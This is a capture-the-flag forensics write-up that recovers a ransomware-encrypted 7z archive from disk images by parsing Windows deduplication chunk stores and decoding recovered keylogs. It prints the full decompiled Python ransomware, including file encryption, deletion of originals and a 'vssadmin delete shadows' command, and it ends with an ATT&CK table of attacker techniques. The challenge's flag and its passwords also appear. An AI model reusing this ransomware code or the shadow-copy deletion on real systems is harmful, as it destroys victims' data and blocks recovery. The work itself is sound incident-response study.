| Attacker executed PowerShell through the secondary C2 channel on port 4444 | Execution | T1059.001 - Command and Scripting Interpreter: PowerShell |
| Services, IIS modules, IIS site configuration, and user directories enumerated | Discovery | T1007 - System Service Discovery / T1083 - File and Directory Discovery |
SYSTEM, SAM, and SECURITY registry hives saved for credential recovery | Credential Access | T1003.002 - OS Credential Dumping: Security Account Manager |
| Collected registry hives compressed before upload | Collection | T1560.001 - Archive Collected Data: Archive via Utility |
Registry hive archive and decrypted document uploaded to https://uguu.se/upload | Exfiltration | T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage |
iisupdate.zip transferred into %TEMP% and extracted | Command and Control | T1105 - Ingress Tool Transfer |
Admin.ps1 created and ran a scheduled task with Administrator privileges | Execution / Persistence / Privilege Escalation | T1053.005 - Scheduled Task/Job: Scheduled Task |
phant0m.exe used to tamper with Windows event logging | Defense Evasion | T1070.001 - Indicator Removal: Clear Windows Event Logs |
StyleNet_Retail_Network_Design.docx decrypted and staged from the local host | Collection | T1005 - Data from Local System |
Scdaemon.dll injected shellcode with VirtualAllocEx, WriteProcessMemory, SetThreadContext, and ResumeThread | Defense Evasion / Privilege Escalation | T1055.003 - Process Injection: Thread Execution Hijacking |
Shellcode ran net user webadmin ... /add to create a local account | Persistence | T1136.001 - Create Account: Local Account |
Stay Hydrated
Description
Horizon Trust Solutions is panicking after a disguised wiper attack encrypted deployment servers. The perpetrators, using the DeadDrop Cartel proxy, left no ransom note, exposing their motive as state-sponsored sabotage. Directorate 9 operatives lurked in our network for months, mapping federation trusts and harvesting credentials to orchestrate this deep-seated assault. At stake is the core validation framework for the Trusted Supply Chain Act, built for the National Election Commission. With polls opening in days, the pristine deployment package was finalized for handover. In a calculated move, Vane’s forces struck at the eleventh hour to maximize public panic and disruption. The geopolitical repercussions are immense; failing to deliver compromises the election and cements Korvia’s leverage. Task Force Nightfall implores your expertise to recover the uncorrupted release package from the crippled staging environment.
Walkthrough
Initial triage
The challenge provides a .vhdx disk image and an .E01 image. I loaded both images into FTK Imager.

The C.vhdx image is a KAPE triage artifact from the C drive, while D.E01 is a full disk image of the D drive.
After looking through the files in C.vhdx, I did not find anything interesting, so I moved on to D.E01, where most files appeared to be encrypted with the .enc extension.

Some original files are still present, but there are not many of them and they do not look interesting. Most original files were deleted, leaving only the encrypted versions behind.

This appeared to be from a domain controller. I confirmed this by looking at the C drive registry hives, where I found entries related to NTDS and LanmanServer.
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

The D drive is used for file sharing over SMB.
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares

Explanation - NTDS and LanmanServer
NTDS stands for “NT Directory Services” and is a core component of Active Directory on Windows Server. It is responsible for storing and managing the directory database, which contains information about users, groups, computers, and other objects in the domain. The presence of NTDS parameters in the registry indicates that this server is likely a Domain Controller (DC) hosting Active Directory.
LanmanServer is the Windows Server service that provides file and printer sharing capabilities over the network. The registry key for LanmanServer shares indicates that this server is also acting as a file server, allowing clients to access shared folders and resources.
D Drive analysis
Python executable analysis
Looking at the D drive, I found an unencrypted executable called main.exe. I extracted it and inspected it with DiE.

It is a Python executable packed with PyInstaller! I used pyinstxtractor to extract the contents of the executable.
python .\pyinstxtractor.py .\main.exe
[+] Processing .\main.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 12445835 bytes
[+] Found 93 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: .\main.exe
You can now use a python decompiler on the pyc files within the extracted directoryThe main script is main.pyc, so I decompiled it with PyLingual to get the source code.
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'main.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Util import Counter
import argparse
import os
import sys
import base64
import subprocess
def discoverFiles(startpath):
# ***<module>.discoverFiles: Failure: Compilation Error
extensions = ['jpg', 'jpeg', 'bmp', 'gif', 'png', 'svg', 'psd', 'raw', 'mp3', 'mp4', 'm4a', 'aac', 'ogg', 'flac', 'wav', 'wma', 'aiff', 'ape', 'avi', 'flv', 'm4v', 'mkv', 'mov', 'mpg', 'mpeg', 'wmv', 'swf', '3gp', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'odt', 'odp', 'ods', 'txt', 'rtf', 'tex', 'pdf', 'epub', 'md', 'dat', 'yml', 'yaml', 'json', 'xml', 'csv', 'db', '
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split('.')[(-1)]
if ext in extensions:
yield absolute_path
def modify_file_inplace(filename, crypto, blocksize=16):
with open(filename, 'r+b') as f:
plaintext = f.read(blocksize)
while plaintext:
ciphertext = crypto(plaintext)
if len(plaintext)!= len(ciphertext):
raise ValueError('Ciphertext({})is not of the same length of the Plaintext({}).\n Not a stream cipher.'.format(len(ciphertext), len(plaintext)))
f.seek(-len(plaintext), 1)
f.write(ciphertext)
plaintext = f.read(blocksize)
AES_KEY = os.urandom(32)
SERVER_PUBLIC_RSA_KEY = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqH8e7yL04ioy7lHiE/Jo\nVdyt2HQ6WsiRZu+WPu9h/Q4qK55T/p7X37SPhumD4uQVM8DyZstrIDr9t0qfQ3tv\nyhKupFTRkWgE8PjCj/ypQseKLmWhv75Cf7Eh6C/9UCT85blmd9yk6XrYrf6Zs42t\nBU6CTFWpnIGQqouzcDeS0hTrsfXpdTyEnoITwnCkXdHa4NjE4Eb8iiIcW7/Kj4Hv\nes7HBmifCfpKPMorVFk0NC2Q9Inm4sE16xVYBXP1BIIdZnkS7jogjJ+BU8q5TTnY\nejjEzUrpVRteXjEVXLOgHIqwkVMu94FSpvbPnn79HAnoSek9i0PvYf6e5gGB5LPr\nUQIDAQAB\n-----END PUBLIC KEY-----'
extension = '.enc'
def parse_args():
parser = argparse.ArgumentParser(description='Ransomware')
return parser.parse_args()
def main():
try:
args = parse_args()
startdirs = [os.getcwd()]
server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY)
encryptor = PKCS1_OAEP.new(server_key)
encrypted_key = encryptor.encrypt(AES_KEY)
encrypted_key_b64 = base64.b64encode(encrypted_key).decode('ascii')
print('Encrypted key ' + encrypted_key_b64 + '\n')
key = AES_KEY
ctr = Counter.new(128)
crypt = AES.new(key, AES.MODE_CTR, counter=ctr)
original_files = []
for currentDir in startdirs:
for file in discoverFiles(currentDir):
if not file.endswith(extension):
try:
with open(file, 'rb') as f:
plaintext = f.read()
ciphertext = crypt.encrypt(plaintext)
with open(file + extension, 'wb') as f:
f.write(ciphertext)
f.write(encrypted_key)
original_files.append(file)
print('File encrypted: ' + file + ' -> ' + file + extension)
except Exception as e:
print(f'Failed to encrypt {file}: {str(e)}')
try:
for orig_file in original_files:
try:
os.remove(orig_file)
print('Original file deleted: ' + orig_file)
except (OSError, PermissionError) as e:
print(f'Failed to delete {orig_file}: {str(e)} - Skipping.')
except Exception as e:
print(f'Unexpected error during file deletion: {str(e)}')
try:
subprocess.run(['vssadmin', 'delete', 'shadows', '/all', '/quiet'], check=True)
except subprocess.CalledProcessError:
pass
except Exception as e:
print(f'Error: {str(e)}')
sys.exit(1)
for _ in range(100):
continue
if __name__ == '__main__':
main()This ransomware does the following:
- Generates a random 256-bit AES key.
- Encrypts the AES key with a hardcoded RSA public key and prints the encrypted key in base64 format.
- Uses AES in CTR mode to encrypt files with specific extensions in the current working directory and its subdirectories. The encrypted file is saved with the same name but with an additional
.encextension, and the encrypted AES key is appended to the end of the encrypted file. - After encrypting the files, it attempts to delete the original files and also tries to delete shadow copies using
vssadmin.
File recovery
The ransomware does not encrypt files in place. The original file is read, the ciphertext is written to a new file with the .enc extension, and then the original file is deleted. The malware also attempts to delete shadow copies to prevent recovery. The encrypted files cannot be decrypted from the recovered artifacts alone because the AES key is randomly generated and only the RSA-encrypted version of that key is appended to each file; recovering it would require the corresponding RSA private key.
Because the original file is deleted only after the encrypted file is created, the original content is not overwritten by the ciphertext. The deleted data may still be recoverable through file carving because the file system marks its clusters as unallocated rather than immediately wiping them. That is why FTK Imager can still see some original files on the D drive.

Explanation - File deletion on Windows
When a file is deleted on NTFS, the file system normally removes the file’s directory reference and marks its clusters as free, but NTFS itself does not necessarily overwrite the file’s contents. On HDDs, those bytes often remain in unallocated space until something else overwrites them, which is why forensic tools can sometimes recover deleted files.
On SSDs, recovery is less reliable because Windows may issue TRIM commands for deleted data. TRIM tells the SSD that the corresponding blocks are no longer needed, allowing the drive to discard or erase them internally, often making later recovery impossible. However, TRIM is not always immediate or guaranteed, and it may not apply in some environments such as virtual disks, disk images, unsupported storage paths, or cases where the data was captured before the blocks were discarded.
In this case, the ransomware deletes the original files after creating the encrypted versions, and the disk image still contains recoverable remnants of some original file content in unallocated space. Tools like FTK Imager can therefore be used to carve or recover those deleted files.
Read more about how this works in Microsoft’s SDelete documentation.
A diagram to illustrate the process:

But why are only some files readable in FTK Imager, while others are not? Also, why do some entries show a different type, such as Reparse Point?

The reason is that this volume has Windows Server Data Deduplication enabled.
Data Deduplication is a Windows Server feature that reduces storage usage by splitting eligible file streams into chunks, storing unique chunks in a special location called the chunk store, and leaving metadata on the original file that allows the deduplication filter driver to reconstruct the logical file.
As a result, not every file on the volume contains its actual contents directly. Many optimized files receive a deduplication reparse point, which is why FTK Imager displays their type as Reparse Point instead of showing normal file content.
When the ransomware deletes an optimized file, it removes the file record or directory entry that references the deduplication reparse metadata. The underlying chunk-store data is not necessarily removed immediately, so the original content may still be recoverable if the reparse metadata and referenced chunks can be resolved. However, FTK Imager does not automatically reconstruct deduplicated files because doing so requires interpreting the deduplication metadata and resolving the referenced chunks. Therefore, these files cannot be viewed normally even though their underlying data may still exist on disk.
Learn more here

To recover these files, the chunk store must be located and the deduplication references resolved. On Windows Server systems, deduplication data is typically stored under: System Volume Information\Dedup\ChunkStore.

I focused on two folders:
Stream: contains stream maps and metadata that map optimized files to chunk hashes and chunk ranges.Data: contains the compressed chunk container data referenced by those stream maps.
The purpose of this challenge is to recover a package that was encrypted by the ransomware, so I needed to identify which file to recover first. While digging through the files on the D drive, I found the file that likely needed to be recovered.

Now that I knew what needed to be recovered, the next step was to find this file’s reparse point on disk.
Based on this article, I needed to retrieve the file’s NTFS $REPARSE_POINT attribute, attribute type 0xC0 / decimal 192, from its Master File Table ($MFT) record. If the attribute is non-resident, its data runs give the logical cluster number (LCN) and length for the reparse metadata on disk, not the actual deduplicated file contents.
I used this script to grab the deduplication reparse point metadata from the record after converting the disk image to raw format:
from dissect.ntfs.mft import Mft
MFT_FILE = "$MFT"
RAW_IMAGE = "D.raw"
TARGET = "StarlineTicketing_Release_1.0.0.7z"
CLUSTER_SIZE = 4096
with open(MFT_FILE, "rb") as fh:
mft = Mft(fh)
rec = next(r for r in mft.segments()
if r.filename and r.filename.lower() == TARGET.lower())
rp = rec.attributes[192][0]
lcn, run_len = rp.dataruns()[0]
offset = lcn * CLUSTER_SIZE
with open(RAW_IMAGE, "rb") as f:
f.seek(offset)
data = f.read(run_len * CLUSTER_SIZE)
out = f"{TARGET}.reparse.bin"
with open(out, "wb") as f:
f.write(data)
print(f"[FILE] {rec.filename}")
print(f"[MFT] {rec.segment}")
print(f"[LCN] {hex(lcn)}")
print(f"[RUN] {run_len}")
print(f"[OFF] {offset}")
print(f"[OUT] {out} ({len(data)} bytes)")
print(f"[HEAD] {data[:32].hex()}")After extracting the reparse attribute, the script reads the attribute’s data runs to recover the deduplication reparse metadata from the raw disk image.
Explanation - Data runs
Data runs are the NTFS mechanism used to describe where a non-resident file attribute is physically stored on disk. Instead of storing data contiguously, NTFS maps an attribute’s virtual cluster numbers to physical logical cluster numbers and run lengths; for example, [(71640, 1)].
python .\reparse.py
[FILE] StarlineTicketing_Release_1.0.0.7z
[MFT] 161
[LCN] 0x117d8
[RUN] 1
[OFF] 293437440
[OUT] StarlineTicketing_Release_1.0.0.7z.reparse.bin (4096 bytes)
[HEAD] 1300008000010000020100010b00000004000000040060000300000004006400From the [HEAD] value and this article, I confirmed that this is a deduplication reparse point because it starts with 13 00 00 80, the little-endian form of the Data Deduplication reparse tag 0x80000013 (IO_REPARSE_TAG_DEDUP).
Checking the contents of the reparse point, I could see the GUID of the chunk store.

It matches the GUID of the chunk-store folder in System Volume Information\Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp.
The hard part was finding the StreamChunkHash in the reparse data so I could locate the corresponding metadata in the chunk store. Manual analysis is possible, but there is little public documentation for this reparse-data format, so it is like finding a needle in a haystack. The StreamChunkHash should also appear in the chunk-store metadata, so I asked Claude to generate a brute-force script to identify candidate 16-byte values in the reparse data and cross-reference them against the chunk-store files.
import math
import re
from collections import Counter
from pathlib import Path
REPARSE_FILE = Path("StarlineTicketing_Release_1.0.0.7z.reparse.bin")
CHUNK_STORE = Path(r"Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp")
STREAM_DIR = CHUNK_STORE / "Stream"
KEY_SIZE = 16
TOP_N = 10
def shannon_bits(b: bytes) -> float:
if not b:
return 0.0
n = len(b)
counts = Counter(b)
return -sum((c / n) * math.log2(c / n) for c in counts.values())
def looks_like_hash(b: bytes) -> bool:
if b.count(0) > 6:
return False
if len(set(b)) < 10:
return False
if shannon_bits(b) < 3.0:
return False
return True
def load_dir(directory: Path, suffixes: tuple) -> dict:
out = {}
for p in sorted(directory.iterdir()):
if p.is_file() and any(p.name.endswith(s) for s in suffixes):
try:
out[p.name] = p.read_bytes()
except OSError:
pass
return out
def main() -> None:
payload = REPARSE_FILE.read_bytes()[8:]
print(f"[+] reparse payload : {len(payload)} bytes")
ccc = load_dir(STREAM_DIR, (".ccc",))
cd = load_dir(STREAM_DIR, (".cd",))
print(f"[+] stream containers : {list(ccc.keys())}")
print(f"[+] stream indexes : {list(cd.keys())}")
print()
raw = []
for off in range(len(payload) - KEY_SIZE + 1):
cand = payload[off:off + KEY_SIZE]
if not looks_like_hash(cand):
continue
ccc_hits, cd_hits = {}, {}
ccc_positions, cd_positions = set(), set()
for n, blob in ccc.items():
pos = [m.start() for m in re.finditer(re.escape(cand), blob)]
if pos:
ccc_hits[n] = len(pos)
ccc_positions.update((n, p) for p in pos)
for n, blob in cd.items():
pos = [m.start() for m in re.finditer(re.escape(cand), blob)]
if pos:
cd_hits[n] = len(pos)
cd_positions.update((n, p) for p in pos)
if not ccc_hits and not cd_hits:
continue
raw.append((off, cand, ccc_hits, cd_hits, ccc_positions | cd_positions))
raw.sort(key=lambda x: x[0])
collapsed = []
for off, cand, ccc_h, cd_h, positions in raw:
keep = True
for i, (off2, _c2, _ccc2, _cd2, pos2) in enumerate(collapsed):
if off2 == off - 1:
shifted = {(f, p + 1) for f, p in pos2}
if shifted & positions:
collapsed[i] = (off, cand, ccc_h, cd_h, positions)
keep = False
break
if keep:
collapsed.append((off, cand, ccc_h, cd_h, positions))
candidates = [(o, c, a, b) for o, c, a, b, _ in collapsed]
def score(item):
off, cand, ccc_h, cd_h = item
present_in_both = int(bool(ccc_h)) + int(bool(cd_h))
total = sum(ccc_h.values()) + sum(cd_h.values())
return (-present_in_both, -total, -shannon_bits(cand), off)
candidates.sort(key=score)
print(f"[+] {len(candidates)} surviving 16-byte windows hit Stream\\")
for i, (off, cand, ccc_h, cd_h) in enumerate(candidates[:TOP_N], 1):
ent = shannon_bits(cand)
print(f"\n #{i} payload@0x{off:02x} H={ent:.2f} {cand.hex()}")
for name, n in ccc_h.items():
print(f" .ccc {name:<42} hits={n}")
for name, n in cd_h.items():
print(f" .cd {name:<42} hits={n}")
if candidates:
off, cand, ccc_h, cd_h = candidates[0]
print()
print("=" * 72)
print(f"[*] BEST payload@0x{off:02x} StreamChunkHash = {cand.hex()}")
print(f" (first .ccc match: {next(iter(ccc_h)) if ccc_h else '-'})")
if __name__ == "__main__":
main()
The script worked and found the StreamChunkHash: 24daea52e54c64aaef60cb88b681f679, along with the corresponding stream container Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp\Stream\00020000.00000002.ccc, which contains the SMAP records needed to reconstruct the file.

Immediately after the matching StreamChunkHash is the SMAP record.

With Claude’s help, I identified the structure of the SMAP record:

The fields I needed were the chunk hash, chunk offset, and chunk length. The chunk hash identifies the chunk data in the chunk store, the chunk offset points to the chunk data inside the chunk-store file, and the chunk length defines how many bytes to read. With this information, I could reconstruct the original file by reading each referenced chunk from the chunk-store file and writing the chunks to a new file. The referenced chunk hashes appeared in Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp\Data\00000004.00010000.ccc.
I continued with Claude’s help to identify the structure of the chunk-store data file.

I could also identify the first chunk manually by checking its first few bytes: 37 7A BC AF 27 1C, which is the magic signature for a 7z archive. Finally, I used this script to reconstruct the file:
from pathlib import Path
DATA_CCC = Path(r"Dedup\ChunkStore\{77F962D7-1532-4DCD-8EC9-224C8B17741F}.ddp\Data\00000004.00010000.ccc")
OUT_FILE = Path("StarlineTicketing_Release_1.0.0.7z")
PAYLOAD_OFFSET = 0x30
MAGIC_OFFSET = 0x28
CHUNKS = [
("799d6e295b935bfa41bd3addb32a0ba9", 114_134),
("bd6c0be7076f1677e2fc033c378f7677", 59_493),
("2639a88b61da4d104de5cd4ec220fb15", 67_099),
]
def main() -> None:
blob = DATA_CCC.read_bytes()
out = bytearray()
for hex_hash, length in CHUNKS:
idx = blob.find(bytes.fromhex(hex_hash))
out += blob[idx + PAYLOAD_OFFSET : idx + PAYLOAD_OFFSET + length]
OUT_FILE.write_bytes(bytes(out))
if __name__ == "__main__":
main()I successfully reconstructed the file, and it was a password-protected 7z archive.

I suspected the password was stored somewhere in the file system. After searching for a while, the Process Lasso folder looked interesting because it contained files that looked like keylogs.

The only two files that were not readable were dev01.dat and dev02.dat, since they were reparse points and their logical contents were stored in the chunk store.

Using the same raw-image recovery approach, I extracted the file contents.
I recovered the keylogs and then used this script to parse their contents:
import sys
from pathlib import Path
SPECIAL = {
"Key.space": " ",
"Key.enter": "\n",
"Key.tab": "\t",
}
IGNORE = {"Key.shift", "Key.shift_r", "Key.ctrl", "Key.ctrl_l", "Key.ctrl_r", "Key.alt", "Key.alt_l", "Key.alt_r", "Key.up", "Key.down", "Key.left", "Key.right", "Key.esc"}
def parse(path):
out = []
for line in Path(path).read_text(errors="replace").splitlines():
if not line.endswith(" pressed]") or '", ' not in line:
continue
key = line.split('", ', 1)[1][:-len(" pressed]")]
if key == "Key.backspace":
if out:
out.pop()
elif key in SPECIAL:
out.append(SPECIAL[key])
elif key in IGNORE or key.startswith("Key."):
continue
else:
out.append(key)
return "".join(out)
if __name__ == "__main__":
if len(sys.argv) != 2:
sys.exit(1)
print(parse(sys.argv[1]))> python parse_keylog.py dev01.dat
Yeah, it's done. Everything's packaged already. Just go to the shared folder and pull it down to double-checDude ... how long have you been on this project and you are still asking like a newbie?
The password is in keepass. go grab it from there
Yeah, we tested the hell out of it. QA passed all test cases. This build is stable, no issues at all
Exactly, they can deploy it straight to the production server
Ad damn, you are right, then rename it now xD lol
> python parse_keylog.py dev02.dat
telegram
Hey man, is the Project Starline done yet? The PM team has been pinging me like crazy. The deadline is coming up fast
ok let me check xD
r\\192.168.239.10
What's the project password again?
=))))))) i told u to take care of this one for me. I'll buy you a beer later, deal?
OK
keepass
ED6zY3HDy1CLRHey, has this build been properly tested?
Nice.
but wait
this is the version we are sending to the customer for go-live, right?
Oh come on ... then rename the file, man. Why does it still have _UAT_ in the name ? the client's gonna think it's a test build and complain. Rename it to _Release_ or _Final_ so it looks professional
Releaseket qua bong da nam seagame
code for mefix this error
tailscaleThe password is ED6zY3HDy1CLR, but it is for the KeePass database, so I needed to find the KeePass database file first.

After unlocking the KeePass database with the password found in the keylog, I found the password for the 7z archive.

The password for the 7z archive is cydbF8oGVU2dgXAamqFD.

Finally, I extracted the archive, opened the .env file, and retrieved the flag.
PORT=3000
ADMIN_KEY=HTB{d4t@_d3dupl1c4t10n_1s_sup3r_und3rRat3d}Side note
Due to the complexity of the deduplication reparse point format and the lack of public documentation, I contact the author of this challenge (kudos to @bquanman for creating such a unique and interesting challenge) to ask for the actual way of solving this without relying on brute-force or AI. The intended solution was just the same as what I did, but with zero AI involved. All of that was his personal findings and research. Very impressive work! And the challenge was made on Windows Server 2016 so the data runs is available in the reparse point metadata while Windows Server 2012 does not have that (appeared in another challenge :D).
You can find his official writeup here.
MITRE ATT&CK Mapping
| Observed Activity | ATT&CK Tactic | ATT&CK Technique |
|---|---|---|
Python-based ransomware packaged with PyInstaller executed as main.exe | Execution | T1059.006 - Command and Scripting Interpreter: Python |
| Ransomware recursively enumerated files and filtered target extensions | Discovery | T1083 - File and Directory Discovery |
Files were encrypted with AES-CTR and written to new files with an appended .enc extension | Impact | T1486 - Data Encrypted for Impact |
| Original files were deleted after encrypted copies were created | Impact | T1485 - Data Destruction |
Malware attempted to delete all shadow copies with vssadmin delete shadows /all /quiet | Impact | T1490 - Inhibit System Recovery |
Recovered dev01.dat and dev02.dat artifacts contained captured keystrokes | Credential Access | T1056.001 - Input Capture: Keylogging |
| KeePass database stored the archive password and was protected by a keylog-captured master password | Credential Access | T1555.005 - Credentials from Password Stores: Password Managers |